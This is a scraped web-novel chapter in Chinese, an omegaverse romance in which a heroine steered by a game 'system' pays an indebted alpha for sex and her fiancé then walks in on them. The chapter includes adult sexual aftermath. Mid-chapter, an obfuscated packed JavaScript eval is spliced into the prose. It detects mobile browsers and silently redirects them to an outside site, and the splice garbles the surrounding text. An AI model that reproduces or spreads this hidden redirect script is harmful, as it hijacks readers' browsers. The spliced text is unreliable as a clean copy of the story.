默认冷灰
24号文字
方正启体

7. 二周目第七天

作者:超高校级的卷王本书字数:K更新时间:
    “体检的结果还好吗?”


    闻时月刚刚走出诊室,凯撒就立刻从椅子上站起身,灰蓝色的眼睛一眨不眨地盯着他柔弱的教子,aloha与生俱来的敏锐五官,让凯撒即使隔了很远,依然能听到沈确说闻时月可能患上信息素紊乱症的推测。


    “别为我担心啦,教父。”


    闻时月挽住凯撒的手,猫眼乖巧地弯起,试图用美色迷惑凯撒,以避开对方的询问。


    “说真话。”


    凯撒叹了口气,在闻时月的脑袋上弹了一个脑瓜崩,温和的灰蓝色眼眸里此刻沾染上了几分严厉:


    “你要跟你的教父撒谎吗?”


    “没有撒谎,只是我的信息素水平偏高,可能是易感期要到了。”


    闻时月撒娇地晃了晃凯撒的手,红唇勾起,虎牙明晃晃地露在外面,像只恃宠而骄的小猫。


    真是可爱的要命……


    凯撒对着这副面容晃神了片刻。


    “教父,你听到我说话了吗?”


    闻时月笑得坏坏地,抬手在凯撒的眼睛前晃了晃。


    “不要打趣我了,时月。”


    凯撒无奈地摇头,抓住了闻时月的手腕。


    “教父还是珍惜现在的时光吧,等我结婚了,可就只有教父一个人在行宫独守空房了。”


    凯撒用的力气很小,闻时月没有怎么使劲就挣脱了,她眨了眨眼,笑着打趣自己的教父起来。


    说者无意,听者有心,想到闻时月要和郁家那小子联姻,凯撒的眼睫搭了下来,表情变得有些冷淡:


    “一定要和他结婚吗?帝国现在的财力,闻家可以三代不倒……”


    “嗯?您说什么?”


    凯撒的呢喃的声音太小,闻时月没有听清,挑眉向后看去。


    “没什么。”


    凯撒勾唇,摇了摇头,鼻尖却猛地嗅到了一股玫瑰的味道。


    而他记得闻时月的信息素就是玫瑰味的,凯撒灰蓝色的眼眸有些疑惑地看向闻时月:


    “时月,是你的易感期到了吗?”


    【死系统,不是说好三小时之后才会触发惩罚吗?】


    闻时月美艳的面容僵住了,她的腺体灼热,那热意从她的后颈往上攀升,简直要把她的脑子烧成一片浆糊。


    【提前让玩家感受一下啦~】


    系统用粘腻的声音恶心闻时月。


    【不要想着自己把惩罚任务扛过去哦~】


    系统真是了解她,闻时月烦躁地将指甲掐入掌心,让自己清醒些:


    “没什么,可能是刚刚检查的时候,释放出来的信息素,现在还没有散去吧。”


    “可是……”


    凯撒抬手想要撩开闻时月颈后的长卷发,看看情况时。


    他的手腕却被闻时月握住,潮红已经攀上了猫眼的眼尾,她忍住喉间的喘息:


    “教父,我已经说了没事了。”


    “我只是想看看你的腺体是不是真的没事。”


    灼热的触感从手腕上传来,闻时月语气里不容置疑的强硬让凯撒怔愣了一下。


    “但是您不觉得这样太暧昧了吗?”


    闻时月再一次说出了这句话,湿漉漉的猫眼一眨不眨地盯着凯撒,带着祖母绿宝石戒指的手指,在凯撒面前晃了两下:


    “我要结婚了,教父。”


    教父两个字让凯撒久久失神。


    闻时月小时候是他带大的,他从十几岁就担任了闻父的职责,她的第一次易感期,就是他陪在身旁度过,他们共享一切的隐秘,所以看腺体在他看来这只是稀松平常,而忽略了这哪怕实在alpha指尖也是一个格外出格的行为。


    “教父,您是我的教父,永远都是。”


    闻时月淡淡地划清两人的距离,游戏里的三个贱男人已经让他焦头烂额,她不想再平添桃花债。


    是教父,只能是教父吗?


    凯撒如蝶翼的眼睫微垂,眼底神情晦涩不明。


    ——


    玫瑰味已经近乎填满了整辆车,闻时月从车里,先给自己来了一支抑制剂,冰凉的液体顺着后颈滑进血液之中,但她并没有得到她想要的镇静的效果。


    【惩罚任务是不能用药物来压制的,必须要做的哦~】


    闻时月忍住了想把自己脑子里这个贱不垃圾的系统拽住来的冲动,她拿出了星脑,开始翻通讯录:


    “你在哪?来闻家一趟。”


    她给郁亭风发过去了信息。


    法庭上,郁亭风的星脑震了一下,他看了一眼上面的名字,是闻时月。


    又看了一眼站在被告的郁父郁母。


    这是决定父亲和母亲是否会坐牢,还是保释的一场审判,他于情于理都不应该离开,可是给他发消息的是闻时月,那个无事不登三宝殿的女人。


    郁亭风垂眸思衬再三,还是看了那条消息:


    “有什么事吗?”


    有闻老爷子撑腰了,说话就是硬气了,闻时月嗤笑一声:


    “履行你未婚夫的责任。”


    郁亭风指尖在“履行未婚夫责任”这几个字上摩挲了片刻。


    他翻出了日历,上面备注了闻时月的易感期——还是他们恋爱时备注的,是又想出了什么新的折磨他的方法了吗:


    “你现在不是易感期。”


    “你怎么知道我不是易感期?要你回来你就回来。”


    闻时月看着对方笃定的话语有些匪夷所思,这么多年了郁亭风还记得自己的易感期?而且她也没说是为了易感期找他,他怎么就跟她肚子里的蛔虫一样,知道自己要透他。


    但郁亭风却迟迟没有回消息。


    后颈的热度烧的她整张脸泛起潮红,玫瑰味的信息素充斥着整辆车,裙摆被浸成深色,卷发被打湿,湿漉漉地黏在脸上,他的犬齿作痒疯狂地想咬点什么。


    抑制剂滚落在地上,时间一分一秒过去,闻时月向上刷新,屏幕上迟迟没有出来新的消息。


    【看起来你选择的人,还是没有选你,忘记说了,郁亭风现在在他父母审判案件的开庭上,他可没工夫来帮你。】


    系统幸灾乐祸地说。


    哈,又没选她啊……


    星脑冰冷的灯光映出闻时月面无表情的脸。


    【你永远选他,可惜郁亭风永远不会选你的。】


    【那就换一个呗,又不是只有这一个人选。】


    闻时月将长发向撩,蜷缩在座位上,粗重地喘息。


    她翻阅星脑,打通了另一个人的电话:


    “在闻家等着我,债务给你减三分之一。”


    ——


    闻家卧室。


    房间内弥漫着浓郁到化不开的海盐和玫瑰交织的信息素,如同刚刚经历了一次无形的战争。


    昂贵的地毯上凌乱地散落着被撕坏的西装外套和衬衫纽扣,空气中还残留着激烈纠缠后的灼热温度。


    闻时月陷在柔软的沙发里,身上只松松垮垮披着一件明显不属于她的黑丝绒睡袍。


    睡袍下摆堪堪遮住大腿,露出布满暧昧红痕的肌肤。


    她慵懒地蜷缩着,像一只被喂饱了的猫,指尖夹着一支细长的烟,烟雾袅袅,模糊了她艳丽却略带疲惫的眉眼。


    苏怜旻半跪在她身前的沙发边,alpha高大的身躯依旧充满了不容忽视的压迫感。


    他赤裸着上身,紧实的肌肉线条上沁着薄汗,脊背有几道新鲜的鞭痕,昭示着方才的激烈。


    他正细致地,一寸一寸地,用浸湿了他的海盐信息素的软布,擦拭着闻时月的脚踝。


    那里原本沾染着的奶白色粘液,此刻只留下了硝烟味的信息素,但他依旧擦拭得极为认真,仿佛这是某种极为稀有得神圣赏赐。


    苏怜旻的动作称得上温柔,与他刚才几乎要将她拆吃入腹得凶狠骑法判若两人。


    冰冷湿润的布料划过她微热得皮肤,带来一阵细微的战栗。


    “都干净了。”


    他低沉的声音带着一丝时候的沙哑,打破了沉寂的氛围。


    他放下她的脚踝,大手转而握住她纤细的小腿,指腹无意识地摩挲着内测细腻地皮肤,抬头看她。


    闻时月吐出一口烟圈,垂眸睨着他,眼尾还泛着情动时的潮红,语气却带着惯有的漫不经心:


    “钱转你账户上了,刚好能还三分之一的债务。”


    “为什么找我,不找你的未婚夫?”


    星脑传来转账成功的声音,但苏怜旻没有去看星脑,,只是深深地望着闻时月,那双深邃的眼眸里翻滚着未散的情欲,以及更深沉,更复杂的情绪。


    他沉默了片刻,握着她的手微微收紧:


    “这个问题很难回答吗?”


    “答案,这是另外的价钱。”


    闻时月像只吃饱的猫,四肢摊开,躺在床上,她的脚轻轻一动,挣开了苏怜旻的手,踩住他的胸,将宽肩窄腰的alpha踩在脚下,冲着胸膛剧烈起伏的alpha勾了勾手指:


    “想要答案,十万星币。”


    十万星币?苏怜旻嗤笑一声,够他一个月的债务利息了,还不知道要陪那些油腻的贵族们喝多少次酒。


    他抓过闻时月的脚,在女人白皙的脚上,用尖锐的犬齿咬了一口:


    “嘶,坏狗。”


    闻时月吃痛地“嘶”了一声,脚轻轻翘起。


    苏怜旻起身背过闻时月离开。


    “喂,你去哪里?我可是包了你24小时的。”


    24小时的任务惩罚还没结束,闻时月是不可能方苏怜旻这种耐玩,玩完就钱货两讫的货色走的。


    苏怜旻听到闻时月问自己去哪,脚步略微顿了一下,他挑眉,舔了舔犬齿,冷淡地回到。


    “去洗澡。”


    “可是我还没玩完,你别忘了我包了你24个小时。”


    闻时月拖长音调,不满地控诉道。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480594|185621||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    原来叫住他,是怕他拿了钱不做事啊,亏他还以为……也是他居然蠢到在闻时月这种人身上找真心。


    苏怜旻自嘲的笑了一声,扯了扯嘴角:


    “放心我不会跑的,只是一身汗味怕臭到了大小姐您。”


    运动了许久,闻时月感到一阵强烈的饥饿感袭来,她懒得叫外卖,也不想佣人打扰,干脆直接用游戏里的星币在系统里兑换了食物。


    【星币-500,兑换:新鲜食材套餐×1。】


    系统提示音响起。


    她随意地裹紧睡袍,赤着脚走进开放式厨房,煎牛排的滋滋声,煮意面的咕嘟声,以及蔬菜沙拉被切开时清脆的声响,很快在闻家的厨房里响了起来,驱散了那种阴森森的感觉。


    苏怜旻从淋浴间走出来,发梢还在滴水,蜜褐色的皮肤上蒸腾着热起,他在房间里找了一圈没有找到人。


    怎么,是正宫回来了,就迫不及待地要和他撇清关系?


    然而,预想中的一切都没有发生。


    映入他眼帘的,是昏黄灯光下,餐桌上摆着几盘看起来意外可口的食物。


    煎得恰到好处的牛排,撒着罗勒叶的意面,还有色彩鲜艳的沙拉。


    食物的香气温暖而真实,弥漫在空气中,与他过往生活中熟悉的廉价营养剂,红馆里甜腻的酒水,或者是冰冷的外卖抖截然不同。


    而那个刚刚还在与他进行着嘴原始的运动与博弈的女人,此刻正背对着他,随意地搅动着锅里地酱汁。


    睡袍的带子松垮地系着,露出优美的脖颈,和纤细的脚踝。


    这一幕……太过于像一个“家”才会拥有的场景。


    苏怜旻僵在原地,心脏像是被什么东西不轻不重地撞了一下。


    那种他走就不敢奢望,名为“家”地温暖错觉,伴随着食物诱人地香气,和那若有若无的玫瑰味,蛮横地穿透了他用愤怒和屈辱筑起地层层高墙,击中了他内心最深处,也是最柔软的渴望。


    他漂泊太久了,在泥泞和绝望里挣扎太久了。


    这一刻的温暖假象,几乎比刚才激烈的占有更具有杀伤力。


    【男主苏怜旻好感度+25,当前好感度:-20。】


    闻时月听到系统的提示,心里有些讶异,她迷惑地看了一眼手上的饭,又看了一眼怔愣在楼梯处,眼尾泛红的苏怜旻。


    难道这她厨艺这么天赋异禀,还是说这就是一个美食游戏,怎么做个饭,莫名其妙地加了好感度。


    她也没点亮厨艺技能啊?


    她看了眼桌上的饭菜,又看了眼眼巴巴盯着饭的大型犬,她做的本来是给她自己吃的,现在对方看到了,她也不能吃独食。


    闻时月不留痕迹地叹了口气,端着酱汁转过身,看着依然愣在原地的苏怜旻,挑了挑眉:


    “愣着干什么?吃完赶紧走。”


    她的语气依旧算不上好,甚至带着惯有的不耐烦。


    但这一刻,这话听在苏怜旻耳中,却莫名的减弱了杀伤力。


    他沉默地走到餐桌旁坐下,拿起刀叉。


    食物入口的味道,很像他过世的母亲做的。


    闻时月和苏怜旻坐在一张桌子上吃饭,相对却无。


    只有苏怜旻泛红的耳尖。


    就在这诡异却莫名透着一点温情的沉默即将持续下去时——


    “嘀”的一声轻响,闻家的智能门锁识别通过。


    门被从外面打开。


    一身风尘仆仆,似乎刚从某个正式场合赶回来的郁亭风站在门口。


    他手里还提着从鲍记刚买的蛋糕——闻时月易感期最爱吃的,脸上带着一丝疲惫。


    然而,当他看清闻家景象时,所有的表情都在瞬间凝结。


    暖黄的灯光,餐桌上冒着热气的食物,刚刚沐浴完,头发还在滴着水,只穿着宽松浴袍的苏怜旻,以及那个穿着丝质睡袍,显然刚进行过一番“运动”的,他的未婚妻。


    郁亭风的目光从苏怜旻和闻时月的脸上,缓缓移到了那桌冒着热气的饭菜上。


    他提着蛋糕的手指用力到古街发白。


    空气中的玫瑰味尚未完全散去,于那呛人的硝烟味混合在一起,形成一种无比辛辣的味道。


    像是对他的嘲讽。


    【哇哦,玩家,是三人行哦~】


    系统幸灾乐祸的声音又出现了。


    【又要二选一了。】


    闻时月此刻很烦躁,他刚刚一直在埋头干饭,转头一看就发现了一脸像被抢了老婆一样的郁亭风。


    她揉了揉眼睛,觉得自己应当是看错了,郁亭风很讨厌她,怎么可能会吃错。


    而在他看到郁亭风最后的眼神,定格在了桌子上的菜以后。


    她立刻明白了,对方估计也是奔波了一天饿了。


    堂堂种花家金主,还不至于给不起一顿饭,她像郁亭风招了招手:


    “过来吧,一起吃饭。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)